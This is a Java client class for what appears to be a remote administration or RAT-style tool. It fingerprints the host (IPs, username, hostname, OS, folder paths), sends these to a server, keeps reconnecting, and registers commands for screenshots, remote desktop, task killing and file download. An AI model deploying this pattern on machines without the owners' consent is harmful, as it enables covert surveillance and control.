package client;

import client.listener.ClientListerer;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryonet.Client;
import com.esotericsoftware.minlog.Log;
import java.io.IOException;
import java.net.InetAddress;
import javax.swing.UIManager;
import javax.swing.UnsupportedLookAndFeelException;

public class ClientManager {

    private static final String CLIENT_VERSION = "1.0.0";

    private String ipExternal;
    private Client client;
    private final ClientListerer listener;
    private final RemoteDesktopManager remoteDesktopManager;
    private final RemoteDownloadManager remoteDownloadManager;
    private final IdleManager idleManager;

    public ClientManager() {
        client = new Client(131072, 131072);
        listener = new ClientListerer(this);
        
        remoteDesktopManager = new RemoteDesktopManager(this);
        remoteDownloadManager = new RemoteDownloadManager(this);
        idleManager = new IdleManager(this);

        registerClasses();
        connect();

        Runtime.getRuntime().addShutdownHook(new ShutdownHook());
        
        try {
            UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
        } catch (ClassNotFoundException | InstantiationException | IllegalAccessException | UnsupportedLookAndFeelException ex) {
            writeToServerLog(Log.LEVEL_ERROR, "[Client] Failed to set look and feel", ex);
        }
    }

    private void registerClasses() {
        Kryo kryo = client.getKryo();

        kryo.register(byte[].class);
        kryo.register(String[].class);

        kryo.register(net.packet.Beep.class);
        kryo.register(net.packet.CDDrive.class);
        kryo.register(net.packet.Command.class);
        kryo.register(net.packet.Connect.class);
        kryo.register(net.packet.FileDownload.class);
        kryo.register(net.packet.Idle.class);
        kryo.register(net.packet.Log.class);
        kryo.register(net.packet.MessageBox.class);
        kryo.register(net.packet.RemoteDesktop.class);
        kryo.register(net.packet.RemoteDesktopFrame.class);
        kryo.register(net.packet.Screenshot.class);
        kryo.register(net.packet.TaskKill.class);
        kryo.register(net.packet.TaskList.class);
        kryo.register(net.packet.Website.class);
    }

    private void connect() {
        try {
            client.start();
            client.connect(5000, "127.0.0.1", 54555, 54777);
            client.addListener(listener);
            
            ipExternal = util.Utilities.getExternalIP();

            // Create packet
            net.packet.Connect packet = new net.packet.Connect();

            // Set packet data
            packet.version = CLIENT_VERSION;
            packet.ipExternal = ipExternal;
            packet.ipInternal = InetAddress.getLocalHost().getHostAddress();
            packet.osName = System.getProperty("os.name");
            packet.osVersion = System.getProperty("os.version");
            packet.osArchitecture = System.getProperty("os.arch");
            packet.username = System.getProperty("user.name");
            packet.hostname = InetAddress.getLocalHost().getHostName();
            packet.javaVersion = System.getProperty("java.version");
            packet.tempDirectory = util.Utilities.getTempDirectoryPath();
            packet.desktopDirectory = util.Utilities.getDesktopDirectoryPath();
            packet.userDirectory = util.Utilities.getUserDirectoryPath();
            packet.systemDirectory = util.Utilities.getSystemDirectoryPath();

            // Send packet
            sendTCP(packet);

            System.out.println("[INFO] Connected.");

            if (!idleManager.isRunning()) {
                idleManager.start();
            }

            new Thread(new Runnable() {
                @Override
                public void run() {
                    try {
                        // Keep connection alive
                        while (client.isConnected()) {
                            Thread.sleep(1000);
                        }

                        if (!client.isConnected()) {
                            connect();
                        }
                    } catch (InterruptedException ex) {
                        writeToServerLog(Log.LEVEL_ERROR, "[Client] Failed to sleep in the thread", ex);
                    }
                }
            }).start();
        } catch (IOException e) {
            try {
                Thread.sleep(15000);

                connect();
            } catch (InterruptedException ex) {
                writeToServerLog(Log.LEVEL_ERROR, "[Client] Failed to sleep in the thread", ex);
            }
        }
    }

    public void disconnect() {
        client.stop();
    }

    public Client getClient() {
        return client;
    }

    public RemoteDesktopManager getRemoteDesktopManager() {
        return remoteDesktopManager;
    }
    
    public RemoteDownloadManager getRemoteDownloadManager() {
        return remoteDownloadManager;
    }

    public void writeToServerLog(int type, String text) {
        if (client.isConnected()) {
            net.packet.Log packet = new net.packet.Log();

            packet.text = String.format("[%s] %s", ipExternal, text);
            packet.type = type;

            sendUDP(packet);
        }
    }
    
    public void writeToServerLog(int type, String text, Exception ex) {
        text = String.format("%s\n%s", text, ex.getLocalizedMessage());
        
        writeToServerLog(type, text);
    }

    public void sendTCP(Object object) {
        if (client.isConnected()) {
            client.sendTCP(object);
        }
    }

    public void sendUDP(Object object) {
        if (client.isConnected()) {
            client.sendUDP(object);
        }
    }

    public static void main(String[] args) {
        new ClientManager();
    }
}

class ShutdownHook extends Thread {
    @Override
    public void run() {
        System.out.println("[INFO] Shutting down.");
    }
}
